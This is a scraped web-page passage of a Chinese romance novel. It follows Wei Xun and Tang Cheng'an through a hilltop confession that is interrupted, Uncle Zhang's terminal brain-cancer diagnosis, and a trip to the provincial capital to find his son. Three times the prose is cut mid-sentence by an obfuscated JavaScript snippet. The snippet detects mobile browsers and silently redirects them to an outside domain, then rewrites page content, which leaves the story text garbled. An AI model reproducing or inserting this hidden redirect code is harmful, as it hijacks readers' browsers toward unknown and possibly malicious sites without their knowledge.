他浅浅抿了一小口奶茶,扑面而来的热流把他的镜片罩上一层稀薄的雾气,脸颊似乎被熏烤得微微泛红。 “嗯,那你这辈子可得努力还债。”魏寻语气平静得认真。 他难得的不正经倒是吸引了唐成安的注意。 “哟,魏大才子打算要小女子我怎么还哪?”她俏皮地歪着个头,语调提高了些,“以身相许么?” 魏寻偏过头看着唐成安笑意盈盈的眼眸会心一笑:“你看今天你二哥护短的阵仗,想从他手里抢人估计困难。” 也许是正好戳中心事,唐成安嘴角的笑容逐渐变得僵硬,她重新转过身子面向前方眺望,手中的热奶茶放在腿上。 “其实……我从来都没想到,今天我二哥会因为我这么生气。” “平时他吊儿郎当的样子看惯了,这回搞这么一出,还真有点儿不习惯……” 不知道是不是被奶茶的热气熏到眼睛,唐成安的眼眶酸酸的。 “这就是血缘吧,打断骨头连着筋。”魏寻停顿片刻后又说道,“真正的亲情是吵不散的。” 可能是魏寻一如往常的平淡语调,让大道理也显得不那么生涩,唐成安的心情伴随徐缓的晚风,好像轻松了那么一点儿。 山上的温度总归还是抵不过屋子里,唐成安吸了吸鼻子不自觉收紧外套。 一旁的魏寻却因为是临时拿了唐成泰的夹克,尺码不太合适,索性两边就这么迎风敞开着,里面的衬衫被山风吹动紧贴在腹部,还能隐隐约约看出身体线条。 魏寻实在太瘦了。 唐成安看得出神,好半天才意识到不太礼貌,不自然地收起目光。 “不过你今天怎么会来我们家?”她冷不丁冒出一句,想起正事。 这一问倒是点醒了魏寻,他侧身从口袋里掏出一个只有巴掌大的棕色方盒,递到唐成安手中,也没有多加解释。 唐成安半信半疑打开了盒子,蓬松的泡沫板上扣着一对亮闪闪的小物件。 “呀,好漂亮的耳钉!”她看清这两个小东西后便忍不住惊喜得叫出声,“这是什么造型?” 魏寻望着唐成安的样子唇畔微动,懒洋洋的月光撒入他的双眸,笑意在缱绻目光中温存: “满天星。” “满天星?我怎么在南州从来没见过这一款。”唐成安把两支耳钉从泡沫板上拔下,托在手心反复端详,小心翼翼又爱不释手。 “南州没有这个款式,是我托北京的朋友寄过来的。” “从北京寄来的?那得多贵啊。”唐成安凑近一看才发现这对耳钉之所以比平时见到的更加闪亮,全是因为上面镶嵌了不少碎钻,“我看这上面的钻石就值不少钱了,我可要不起。” 魏寻又将她递过来的手推回去,摇摇头:“那些是高仿的,不贵,你收下吧。” 唐成安从魏寻的话中探不出真假,无奈自己的确非常中意这对耳钉,于是只能勉强收下。 她莫名不敢直视魏寻的眼睛,倒不是因为心虚,反而是一股找不出由头的复杂情绪。 自从林雨涵哄骗她去打了耳洞后,其实她自己也陆陆续续在街边的精品店逛过一圈,琳琅满目的饰品愣是没一个能入眼——或者说没能让她眼前一亮。 可是魏寻呢,他只不过几天前才从闲聊中碰巧得知她打了耳洞,却能在上千种款式里挑中正好合她心意的一对。 在唐成安的记忆中,魏寻好像总是不会出错的那个,是独一无二令人安心的存在。 可是她还是能明显感觉到,这次回来的魏寻话少了很多。 温柔的少年在时光的雕刻中多了份隐忍,眼镜框住的似乎还有曾经那份少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954780|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年意气。 魏寻从小在公共环境中长大,细心和敏感让他总能不断放大周围人的情绪,每一次都给予恰到好处的疏导。 可是他自己呢? 谁来在乎他的情绪? 一次次被人拒之门外,消失的记忆地点,旧友重逢却只剩简单寒暄……魏寻十年后满怀着期待的归途,似乎并不愉快。 南州辜负得他太多——或者说,也许他根本不该回来。 “魏寻,你这次回来……后悔么?” 唐成安犹豫了几秒,最终还是问出口。 她想,说不定这次能给魏寻一个台阶,一个让他不要再继续孤军奋战,去赌一个没有回报的未来的退路。 如果他真的后悔了,那唐成安一定是第一个放他走的人,不论他再一次离开又会留下多少麻烦,她也心甘情愿为他抵挡所有质疑。 然而魏寻的眼神中先是闪过一抹凝滞,不久便松开眉宇,视线聚拢在唐成安脸上,神色略有缓和。 “我不后悔,成安,”他轻唤的一声姓名,让唐成安心里痒痒的,“我从来都不后悔。” “也,也不是我打击你……”唐成安对上他认真的眼神有些局促,“你在南州想要实现的东西,好像都离你很远很远。” “嗯,我知道。” “如果努力了很久还是一事无成,你也还是不后悔放弃北京发展的机会回来这里吗?” “努力了当然不会后悔,如果结局不好,最多就是留下几分遗憾吧。” “那你现在……有很多遗憾吗?” “也不能说很多吧,但终归还是有几个。” “和我说说。” 唐成安扑闪着她那双独特的小鹿眼睛猛然凑近魏寻,皎洁的弯月在她的瞳眸中有模糊的倒影。 魏寻轻滚了一下喉结:“其,其实也没多大事。” “没关系呀,你和我讲讲嘛。”唐成安似乎不肯放过这个机会。 魏寻对她的执著没了办法,只好慢慢交代。 “那时候我五年级,小学门口有一位会做糖画的老爷爷,有一次我终于攒够了画龙的钱,但是我却在买糖画和买练习册中犹豫了。” “就是我犹豫的这三秒,那个卖糖画的爷爷走了。” “第二天,我因为考到全校第一,院长自掏腰包奖励我几块钱,这些钱足以让我把糖画和练习册都买下来。” “可是我再也找不到那位爷爷。” 魏寻的故事很简单,可讲述中他的音色却有几分淡淡的沙哑,挂在嘴角的苦笑道出其中深藏于心的介怀。 “好像有很多事都是这样,”魏寻继续说着,“好像我再坚定一点点,事情就会有所转机……” “就差那么一点点的坚定。” 唐成安听了心里很不是滋味。 原来魏寻这个看起来淡淡的人,心里在意的事情比自己想得多得多。 她忽然想到了什么,直起身子拍了拍魏寻的肩膀:“这样,你的遗憾不是都差一点点么?我来帮你完成那一点点。” “像你说的啊,反正都不是什么大事,那我就当你的阿拉丁神灯,一个愿望一个愿望地帮你实现!” “虽然晚了一步,但我们不能让这些遗憾在心底留坑呀,我们的心上还要放更重要的东西。” “糖画和练习册都会有的,”唐成安降低音调后是不同往常的一种温和嗓音,轻缓得犹如今晚静静悬在天边一角的皎月。 “魏寻,你值得所有的美好。” 寒凉的晚风将唐成安的发丝吹拂得轻轻摇晃,奶茶杯口的热气覆在手背,一丝一缕蔓延至心间。 唐成安弯弯的笑眼目若朗星,颀长的睫毛上铺满一层银白月辉,神思恍惚间,魏寻仿佛看见了十年前那个叽叽喳喳跟在身后的小姑娘。 那个十二岁的女孩,怀着最赤诚的爱意,在十年之后又一次奋不顾身抱住了他。 他原以为抓不住的光阴更迭,唐成安或许就是在时光洪流中唯一不变的期待。 从认识她开始,唐成安一直都是愿意为他付出一切的那个。 无论十年前还是十年后,她永远都是那个满怀真诚的姑娘。 唐成安说的对,还有更重要的东西。 遗憾或许无法避免,但至少不能让自己后悔。 徐徐晚风好像抚平了魏寻的心结,他在内心中挣扎了无数次的字眼,终于即将破土而出。 “成安!” 一改往日平稳得没有波澜的音调,有一份决绝盖过了魏寻的声音里的颤抖。 “我有一件事想告诉你。”—— 一个迟到了十年的回答。 30. 《穿越火线》 “我有一件事想告诉你。” 魏寻突然的郑重其事把唐成安吓了一跳,似乎是对即将发生的事情有某种预感,她的呼吸也凝滞了一瞬。 “我……”尽管魏寻已经提前做好心理准备,然而当真要开口的时候,他依然不争气地哽住了几秒。 颤抖的音节从唇齿中艰难挤出,眼看十年等待终于要换来一个结果,不论这个结果是否满意,都是对彼此间最好的交代。 “十年前……” 话音未落,然而突发的一声巨响如同一块落石,打碎了月夜铺就的祥和氛围。 同样一起打断的,还有魏寻继续下去的勇气。 “什么声音?”唐成安向后张望,却只看见沙沙作响的树丛。 魏寻先一步反应过来,顾不上被踢倒的奶茶慌忙起身:“是下面传来的!” 唐成安不明所以也着急下楼跟紧魏寻,等到二人来到楼下,只看见碎成一地的玻璃,玻璃渣中间躺着的是不省人事的张伯。 魏寻直接踩着玻璃渣冲了上去,鞋底压住碎片与地板摩擦的咯吱声仿佛在人的心脏上抓挠。 他支起张伯的半个身子轻轻放在大腿上,尝试着呼唤几声,却始终没见张伯恢复意识。 意识到情况或许比预想的糟糕,唐成安连忙上前搭把手把张伯扶到魏寻背上,就近赶去了县人民医院。 接手的急救医生看见张伯便愣住了:“张明忠?” “医生您认识张伯?”唐成安留下。 “他很早就来过一次,我负责看诊的,”医生取下听诊器放入胸前口袋,“老人家脑瘤晚期了,没什么办法。” 脑瘤晚期?!张伯怎么从来没说过? 平时见他都是笑眯眯的,虽然一个人在信号台守夜,但他面色一直不错,看不出病人的样子。 唐成安原以为说不定人人觉得冷清的生活,其实正是张伯想要的。 原来他只是不说,他只是不愿相信任何人。 医生无奈深叹一口气,表情较为严肃:“现在唯一能做的,估计只有临终关怀吧。” “他还有多久?”唐成安似乎仍抱有一线希望。 医生摇摇头只给出了一个刺骨的数字:“不到三个月。” “这种时候了,还是以老人为主,”医生苦口婆心劝导唐成安,“让他了无遗憾地走吧。” 唐成安听后只是微微点点头,刺鼻的消毒水气味不禁让她眩晕阵阵,脚步踉跄不稳。 魏寻从急救室回来见到默然的唐成安,一身沮丧味儿全然盖住了她原有的明媚。 他立即意识到事情不对,躬下身柔声询问:“怎么了?” 唐成安没有直面回答他的问题,嘴里絮絮叨叨听不清在说什么。 魏寻见她没反应,于是把身子蹲得更低,尽力与垂着头的她对视,声音更加轻柔:“成安,别把事憋心里,和我说说。” 魏寻的声音小心翼翼的,像是生怕惊扰了她的心绪,一度的沉默也没让他挪动半步。 唐成安将头撇到一边,收起目光不打算与魏寻对视,嗓音低哑:“脑瘤晚期。” 魏寻闻言表情一僵,怔愣片刻后便微微偏头关心她的状态。 唐成安整个人仿佛被现实抽离,欲言又止的话挣扎许久也没能说出口,突如其来的消息让所有人都手足无措。 魏寻默默站在一旁,手表上走动的指针滴答作响,在这一刻都显得无比刺耳。 “通知张文平吧,”他缓缓开口,语气中更多的是无能为力后的妥协,“毕竟是他父亲。” 唐成安苦笑几声,无力跌坐在走廊侧面的座椅上: “嘁,那也得找得到他人才行啊……” 魏寻没料到事情的发展,目光闪动错愕地问道:“连张伯也联系不到吗?” 唐成安长长叹出一口气,双手捧脸满是无可奈何。 张文平出走的那个夜晚,是决心要和南州所有人断绝关系的,何止一个张伯? 他缜密的出逃计划瞒天过海,直到第二天早上张伯才发现从二楼窗户掉下的床单。 他也拨打过无数次张文平的电话,然而听筒对面无止尽的电话忙音一次又一次冲垮了这位老人家的脊背。 他这个无辜的父亲也曾猜想过或许是自己错误的强势吓跑了儿子,思念与懊悔让这位铁骨铮铮的男人一遍遍在众人面前下跪,只为寻找挽回儿子的一线生机。 然而不论是同辈还是长辈,与张文平有关的一切联系都石沉大海。 张文平狠心得就像——不曾存在过。 魏寻心绪复杂,紧缩的眉头下压着挣扎的眼神,微微下沉的肩膀放弃了那份自以为不适时的关怀。 “不行!”唐成安突然正坐起来,语气异常坚定,“这个畜生这次说什么都要回来。” 她像是想明白了什么,从口袋中掏出手机迅速按下几个按键,不知拨通的是谁。 “唐成泰!”对面刚发出“嘟”的接通声音,唐成安便脱口而出揭晓对方姓名,“赶紧想办法把张文平给我找回来!” 魏寻被她这气势吓到了,愣愣坐在一旁不敢吱声。 “我晕!你这凶巴巴的是求人的态度吗?”对面唐成泰也不客气,兄妹俩日常拌嘴得有来有回,“我还没质问你和阿寻孤男寡女的两个人大晚上在外面不回来是想干什么呢!你俩在偷情吧!” 这回真算唐成安的疏忽,接通前没注意调控好听筒音量,以至于唐成泰的胡言乱语全让身边的魏寻一字不落听了进去。 唐成安顿时一阵心虚,尴尬地与魏寻对视而笑后便慌忙转身找了个远处的角落,捂住话筒一顿数落: “唐成泰你有毛病吧?那些话你不嫌丢人我还嫌丢人呢!” “那不然你们两个干什么去了?当时你们俩两只手一抓掉头就走多潇洒啊,现在倒是想起我这个哥哥啦?” “你别给我贫嘴啊,在和你说正经事儿呢。” “我也和你说正经事儿呢,你一个姑娘家这么晚在哪呢?” 唐成安知道如果还不交代现在的位置,唐成泰是不会罢休的:“医院!” “我靠……”电话对面传来东西摔落在地上的声音,唐成泰磕磕巴巴挤出一句,“你们不会……” 没等唐成泰继续说下去,唐成安立刻意识到他心里正在瞎想什么,低声轻吼打断: “没有!是张伯,张伯病了,现在必须想办法让张文平回来。” “你早说是这事嘛……”唐成泰反而听起来很扫兴的样子,“张文平这家伙还真挺难找的,给我点时间吧。” 唐成安此刻真想隔空朝她这位不知天高地厚的二哥扔一个大大的白眼,无奈有求于人,最后只得咬牙忍下。 与唐成泰周旋半天才让他答应下来,唐成安总算暂时松了口气。 她收起手机回到魏寻身边,整个人僵硬地坐在椅子上挠了挠鼻梁,不知怎么才能从刚才尴尬的场面中转移话题。 “成泰哥答应了?”魏寻看出她的窘迫,于是先开了口。 唐成安连忙点点头:“啊……嗯!” 魏寻:“那真是麻烦他了。” 唐成安听了不屑地摆摆手:“唐成泰这个人啊,估计也就剩这么点儿用了。” 唐成泰和他老爹一样,都是成事不足败事有余的闲散人士。 只不过唐成泰相较于那位有名的“唐飞腿”,除了自学成才的厨艺外,还有在南州手眼通天的人脉网能作为他恃宠而骄的资本。 “这次张文平回来,我一定要狠狠揍他一顿。”唐成安用力咬着后槽牙,刻意压低的声线显得她稍微有那么点儿心狠手辣的味道。 魏寻看她俏皮搞怪的样子忍不住笑出声:“好,我帮你一起揍他。” 有了魏寻的应和,唐成安便更有底气:“这回把他抓回来,不管他说什么我都不会买账的,必须给张伯磕头认错!” “不对,磕头认错都算轻饶了他,”她越说越气恼,一身义愤填膺的正气,“对付这种嫌贫爱富,一走就和人间蒸发一样的蛇蝎心肠,就应该让他‘游街示众’!” 唐成安在一旁滔滔不绝发言自己对如何处理张文平这种不孝子的“十八班武艺”,丝毫没有注意到身边魏寻渐渐黯淡的脸色。 “万一……他有苦衷呢?”他淡淡说出一句,话语中像是在试探什么。 然而刚慷慨激昂“发表演讲”的唐成安正在兴头上,哪里能听得出魏寻话中有话: “苦衷?他有什么苦衷?难道他还有脸换取同情?” “时机不对就是不对,迟到的回复已经不是那个人想要听到的答案了。” 唐成安一语中的,魏寻心中纠结无数个夜晚的犹豫似乎因这么短短一句话有了回复。 他避开余光里的唐成安,涣散的目光令他感知不到身边任何事物,心情仿佛落入一个无底空洞般窒息。 唐成安发现了他的不对劲,轻轻用手指碰了碰他的手背:“啊对了,你之前想要告诉我什么事?” 魏寻闻声抬眼,视线落回唐成安的脸上。 也许是察觉到他的低落,唐成安没有继续自说自话,原本怒气冲冲的脸色一瞬间转变为满满关切。 魏寻极力掩藏喉结轻微滚动的幅度,他默默注视着唐成安的眼睛,视线只停留在二人之间。 不锈钢靠背的凉意仿佛沿着脊椎渗透全身,浓重的消毒水气味充斥在空气中,他终于得以从空洞里抽身出来。 霎时,他似乎释然了什么,松开眉头笑吟吟地解释:“没什么大事,就是我好像对香芋过敏。” “啊!”唐成安惊叫一声,连忙撸起他的袖口上下检查,“那你喝了奶茶有没有过敏?” 魏寻慢悠悠安抚道:“没事,那个是添加剂的味道,里面实际香芋含量很低。” “那也不行啊,反正已经来了医院,干脆都检查一遍。”唐成安思来想去还是放心不下,起身抓住魏寻的手臂想要拉他去皮肤科检查,“还有你手腕疼的那个毛病,一起看一下吧。” 没想到魏寻二话不说突然扯开她的手,力度是唐成安从没感受过的,像是一种态度坚决的否认。 魏寻这次的激烈反应始料未及,她愣在原地反复思考是不是自己说错了什么。 也许魏寻也意识到自己行为的不妥,急忙扯出一个抱歉的微笑,却又将右手偷偷藏到身后: “真没事,我的身体状况我自己有把握。” 被拒绝的唐成安又怏怏坐下,魏寻的敷衍显然不足以解释关于他今天这一举动的疑点。 但是唐成安也不打算继续追究。 毕竟魏寻这次回来本身就不是想象得那样简单,连唐成泰那个死心眼儿的人都能看得出。 可魏寻从来都不是一个不坦诚的人——至少在她面前不会。 他到底隐瞒了什么,又为什么要隐瞒? 唐成安知道这些一定和魏寻在北京的那十几年有关,说不定兜兜转转最后还是回到创业失败的那次。 不过这一切都还不急于揭晓,她还在等一个时机——让魏寻百口莫辩的时机。 - 张伯不久便醒来了,面对唐成安的逼问他也只好一五一十地全部交代。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959756|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医生说还剩三个月其实还是太过保守,张伯自己能感觉到身体状况已经撑不过两个月的时间。 他原本打算在支撑不住的前几天就收拾好信号台里所有零散行李,最后安安静静抱着老伴的遗像,在床上结束这无牵无挂的一生。 唐成安不忍心看见吃苦一辈子的张伯就这么将就着离开,哪怕只剩一天,她也想尽可能让他不留遗憾。 于是每次下班,她都会抽空做一道简单小菜送去给张伯,稍微改善一下伙食。 为了表现自己的诚意,她本来计划缠着唐成泰让他亲自下厨露两手,然而这个薄情寡义的男人秉着事业为重的理由,只潦草扔下几张手写菜谱,随后便义无反顾地投入南州那群机车党中间混吃混喝。 日常有唐成泰专门负责炊事,甚至偶尔还会跑去乐兴厚脸皮地蹭几道剩菜,所以唐成安下厨的机会并不多。 再加上唐成泰这一手深得老爹遗传的鸡爪字体,简简单单的一道菜也把唐成安折腾得够呛。 “盐两勺……” 唐成安紧紧盯着唐成泰留下的菜谱在嘴里小声重复,另一只手正打算伸过去拿其他调料,然而还没等她碰到调料罐,手臂便被折了回来。 “魏,魏寻?”突然出现的魏寻让她错愕不已,“你怎么来了?” “我如果不来,你家厨房现在可就是一片火场了。” 唐成安眨巴眨巴眼睛,慢半拍才反应过来魏寻的意思。 原来自己刚才光顾着看菜谱,一只手差点就要碰翻炉灶上烧着的铁锅,幸好魏寻眼疾手快才得以救下唐家这间小小的厨房。 ——还有唐成安的小命。 “对不起对不起,”唐成安连连道谢,想要接过魏寻手中的锅柄,“这道菜我不太会做,唐成泰留下的菜谱我又看不太清。” 魏寻躲开唐成安的手:“你念给我听,我来做。” “这怎么好意思?” “你不是想给张伯做点好吃的吗?看你现在手忙脚乱的状态,不烧糊就不错了。” 唐成安摸摸后脑勺惭愧不已,只能主动退居二线,认真负责念菜谱的工作。 魏寻翻炒时游刃有余的动作让唐成安不免恍惚,关于他的陌生和不可知似乎又加重了几分。 当初被全南州人寄予期望,独自一人考去省城一中,随后又前往北京深造的魏寻,一直以来都是家喻户晓的榜样。 可是光鲜亮丽的背后,只有唐成安看得到他的落寞。 没有人会在意他愿不愿意,没有人关心光环背后他吞进肚子里的苦泪。 这一次回来就说明了一切。 大家期望看见的永远是那个飞黄腾达、事业有成的魏寻,所以当浑身窝囊味的他重新回到大家面前时,质疑和嘲讽一拥而上,严丝合缝地盖住了他曾经十几年的成就。 南州这么小,魏寻怎么可能会听不见众人私底下对他的议论? 他只是不在乎——他可能只是刻意表现得不在乎。 锅中辣椒被热油炸出呛人的气味,引得唐成安鼻子止不住阵阵发酸。 魏寻见唐成安站在一旁拿着菜谱走神,于是从筷笼里拿出一双干净的筷子,夹起刚炒好的一片瘦肉递到她面前。 “尝尝?我闻着味道挺不错。” 唐成安这才回过神来,从魏寻手上接过筷子试试味道。 辣椒的爽辣与猪肉的鲜嫩相得益彰,佐料都是恰到好处的用量。 “不得不承认,唐成泰做饭还是有点天赋。”唐成安放下筷子,点点头示意魏寻装盘。 魏寻关掉煤气,没有火源炙烤锅底的哔啵声响,厨房内一时安静得有点不太习惯。 “成泰哥其实也不是像你们说的那样一事无成,”魏寻问道,“他怎么不去应聘厨师?” 唐成安踮脚从橱柜里拿出一个干净的瓷盘,瘪瘪嘴抱怨:“这事怎么可能没找他谈过?可他这人就像个长不大的孩子,你猜他每次怎么说的?” “咳咳……”唐成安放下盘子,刻意压低声线模仿起来,“男儿志在四方,做饭是女人干的事,真男人就要放荡不羁,征服天下好河山!” 不愧是亲兄妹,唐成安模仿起唐成泰来还真是有模有样,她这古灵精怪的样子把魏寻逗得笑呵呵的。 估计唐成安也知道自己的样子有多滑稽,忍不住跟着魏寻一起笑起来。 二人的视线在空中交汇,疲惫的他们在这一刻能够短暂放下所有心事,相视而笑的眼眸无视纷纷扰扰的世界,只留下对方的身影。 天边晚霞忽明忽暗,将停滞的时光倒回至1994年的傍晚。 “你俩是不是又在背后说我坏话!” 唐成泰冷不丁从窗户冒出一个脑袋,臭着脸打破了刚刚好的氛围。 “就说你坏话怎么了?”唐成安硬怼回去,“谁叫你什么事情都干不好。” “谁说的!” 唐成泰颇不服气,眼看又要和唐成安拌起嘴来,魏寻连忙插在两人中间制止: “没这回事,成泰哥,我们在夸你厨艺好呢,成安按照你给的菜谱做出来的菜很好吃,要不你进来尝尝?” 唐成泰见魏寻有意调停,索性卖他个面子,便也不再胡闹:“不用了,我相信我的手艺,这次是来通知你们一件事的。” “你说。” “张文平找到了。” “张文平找到了?!”唐成安激动不已,立刻凑到窗户边继续打探,“那怎么这几天都没看见他人?” “嘁,还能为什么?”唐成泰一脸不屑,“这没良心的家伙还是不肯回来。” 31. 肯德基 张文平也算心机了得,那次出逃明显早有准备。 唐成泰遍布的眼线几乎把整个南州翻了个底朝天,最后才从住在公交车站保安亭里的大爷口中得知他的下落。 唐成泰沿着线路查过去,经过好一番波折才终于摸清了他的大致方位。 这位有后台的少爷,凭借他爸军官身份,成功在省城混了个不错的职位,年仅二十多岁,就已经非常顺利地坐上正科级别的位子。 荣华富贵早已让他将南州的一切远远甩至脑后,哪怕是命悬一线的继父也没有请他回去的资格。 唐成安这个路见不平一声吼的“南州好汉”眼里哪能容得下张文平这样的狼心狗肺之人,一连请了三天年假,铁了心要把他逮回南州。 唐成泰担心他这个死心眼的小妹冲动误事,万一收不住脾气给人打得挂了彩,最后连累的可是唐家四口人。 奈何他那位道上的大哥非要在这几天举办个内部选拔赛,赢家可以把他介绍给他顶上的老大,是个千载难逢能够出人头地的机会。 冲突的两件事让唐成泰左右为难了好一阵,最终考虑到唐成安要是真发起疯来,自己也只有被她按在地上撵成肉泥的份,因此果断将监视她的光荣任务交给了魏寻。 魏寻不得已临危受命,随便收拾了几件行李,就跟着唐成安坐上前往省城的大巴车。 等四小时车程结束,时间早已超过晚上八点,然而二人一路颠沛流离来到省城,才发现居然没一个人记得带上身份证。 这下可好,也不必纠结住哪家酒店——反正没一家能入住。 省城不比南州多山,呼啸的北风挤过高楼间缝隙直直侵入骨髓,唐成安抱着手臂打了个哆嗦。 眼见实在扛不住省城的妖风,唐成安正要拖起行李计划直接在肯德基里混几个晚上,魏寻却拉住了她的手。 他没有多加解释,只是拿出手机拨下一个电话。 “好的,实在是麻烦您了。” 电话中的两人似乎没交谈几句,对方就爽快地答应了暂住。 唐成安着急跟上魏寻的脚步,不免好奇:“谁这么好心呀?居然答应得这么爽快。” 魏寻自然地接过唐成安手里的行李箱,眼角扬起淡淡笑意: “老院长。” 唐成安这才顿悟过来—— 对啊,老院长在魏寻考进省城一中的那年,就因为升职跟着他一起搬到省城住了。 面对曾经视如己出的孩子提出请求,这位心善的老人家当然是一万个乐意。 周围肆虐的冷风让唐成安无数次庆幸——庆幸在她身边的人是魏寻。 老院长的房子离车站有些距离,加上夜已入深,街道周边几乎只剩下几盏忽闪的老旧路灯,前面黑黢黢的道路一不小心就能迷失方向。 但魏寻一路上却走得十分坚定,仿佛八年前在这里读书的记忆并没有被时光冲淡。 手上没有行李的唐成安没了负重,这才得以加快脚步跟上魏寻,路灯昏黄光线温柔落在他的肩膀上,又在他的脸上跳脱地一晃而过。 唐成安心想,此刻脚下经过的某一片砖块,说不定也是八年前魏寻走过的地方。 所以她总是会时不时落在后头,不愿走得太快。 那可是十八岁的魏寻——是唐成安虽不曾参与,却也是他一生中最美好的年纪。 只不过唐成安还没来得及感受十七八岁的魏寻留在这的生活痕迹,二人就已经来到了老院长住处。 “哎呦,阿寻,成安,没冷到吧?赶紧进来暖和暖和。” 老院长今年已经步入六十五岁高龄了,身材略微佝偻,身穿一件简单的深色棉布衣,搭配一条黑色阔腿裤,显得舒适大方。 她热情接过魏寻手上的行李,动作缓慢却稳健,想来平常应该不缺锻炼。 “我一个人住,所以屋子比较小,原本的客房堆满了杂物估计是睡不了人,成安你今晚可能得和我这个老太婆挤一挤,阿寻你就只能睡沙发了。” 老院长简单交代了一下房间安排,脸上有点不好意思。 魏寻没有任何不满的意思:“可以的,给您添麻烦了。”说着便着手整理起沙发上的床铺。 “那就好,要不你先洗漱吧,我想和成安聊聊天。”老院长点点头示意魏寻,边说边牵着唐成安的手走进自己的卧室。 老院长的卧室是一种很典型的七八十年代装修风格,棕黄的衣橱没有任何装饰花纹,只保留木板原生造型,大小几乎占据整整一面墙体,衣橱旁边便紧挨着一张简单的木板床。 床板上搁置着一床不算太软的席梦思,粉色印花被单被老院长细心铺满每一处边边角角,虽然不比市面上流行的花样,素色的棉花被看起来也十分软和舒适。 “来来来,成安你过来。”老院长从衣橱下方拉开一个抽屉,招招手轻声呼唤唐成安过去。 老院长刻意压低声音的举动让她颇为好奇,将信将疑凑了过去,同老院长一块盘腿坐在地板上。 老院长手中捧着一本厚墩墩的相册,按照表面的划痕猜测,这个本子至少有十年。 相册里面装的几乎都是各色各样的老照片,从一两岁的孩子到十七八岁的少年不等,照片的主角也在不断变化。 唐成安当然知道这是为什么。 关于老院长,南州的那群孩子口中总是流传着一种说法——说老院长是天上的菩萨,只要向她许愿就一定能实现。 大人们也都心有灵犀地约定好,默默守护着老院长在这群单纯无邪的孩子心目中的崇高形象。 既然是天上的神仙,那自然是无牵无挂的。 老院长一生无儿无女,但却亲手抚养长大了福利院中进进出出一批又一批的孤儿,她也是无数个孩子的母亲。 他们也许还在南州,如愿以偿过着平平淡淡的生活;也许如同魏寻一般,散落在世界各地,去寻找那份迟到二十多年属于他们的幸福。 唐成安一直相信善有善报,老院长就是最好的证明。 “你看看,”老院长翻到相册的某一页突然停住,抽出相册本右上角夹着的一张照片展示给唐成安,“这是谁?” 相片早已因褪色而泛白,边角却保存良好,没有任何折痕或者破损,可见老院长用心良苦。 画面中间是一个只有两三岁年纪的小男孩,应该是觉得自己剃了光头不好看,所以临时找了个不大适合的帽子。 帽子边沿太宽,因此时不时就会垂下遮住视线,男孩只能上手扶住。 他斜着大大的眼睛从帽檐阴影中看向镜头,阳光透过树影撒在男孩身上,整个人散发出一种与背景中其他人物截然不同的柔和气场。 摄影师敏锐地抓拍下这一瞬间,得以让记忆留存下来。 “这个……不会是魏寻吧?”唐成安有些犹豫,不太敢确定。 哪知老院长听到她的答案便捧腹大笑起来:“就是他,你果然一眼就认出来了。” 唐成安又凑近仔细看了一遍,其实从男孩的五官中还是隐约能找出魏寻现在的样子。 “噗嗤。”第一次见到小豆丁时期的魏寻,她也忍不住调侃几句,“这么小就是一身老干部气质啊。” “是吧?只有他不一样,从小到大都不一样……”老院长用指腹轻轻摩挲这张老照片,眼神里充满慈祥,“他是我最喜欢的孩子。” 老院长自诩阅历无数,即便接手过形形色色不同性格的孩子,她也都能保证做到兼爱而不偏爱。 然而当她在一个再普通不过的冬天,与往常一样从小卖部为孩子们购入零食回来,再次经过福利院门口那棵已经光秃秃的大银杏树时,一团在角落里不断咕涌的毛毯却成了她一辈子的例外。 毛毯中包裹着一个只有几个月大的小娃娃,孩子不哭不闹,就这么瞪着双大眼睛眼巴巴看着她。 老院长赶紧将孩子抱在怀中,一张纸片无意中从襁褓里掉落,她捡起来一看,上面只写了两个信息—— 「魏寻:1979年6月30日生。」 她也及时询问过派出所民警调取监控,然而最终还是一无所获。 于是,魏寻便成为了福利院中唯一一个有生日的孩子。 “这孩子打小就聪明。”老院长捧着照片依旧止不住夸赞,笑脸上满是欣慰。 这种聪明不仅仅只是指成绩优异,更多的还是会察言观色。 福利院里的孩子由于缺少家人陪伴,所以经常需要和他人一起平分老师的关爱,可无论是谁都希望自己能够被爱,被多爱一点点,因此院内小团体问题一直很令人头疼。 魏寻始终都是特立独行的那个。 他从不吝啬自己的东西,其他人视若珍宝的玩具也好零花钱也好,于他而言,反倒觉得无关紧要,基本上都有求必应。 小小年纪便活得十分通透,俨然一副小大人的模样,上上下下无论老少,他都能打成一片,在福利院的人际关系网中长久居于中心地位。 可是长时间待在人群中心,原本对于身外之物不留恋、不在意的洒脱,不知何时累积成一股浪潮,渐渐淹没了他作为活人应该有的喜好。 都可以,无所谓,没关系……他变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967233|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越像个没有情绪的机器人。 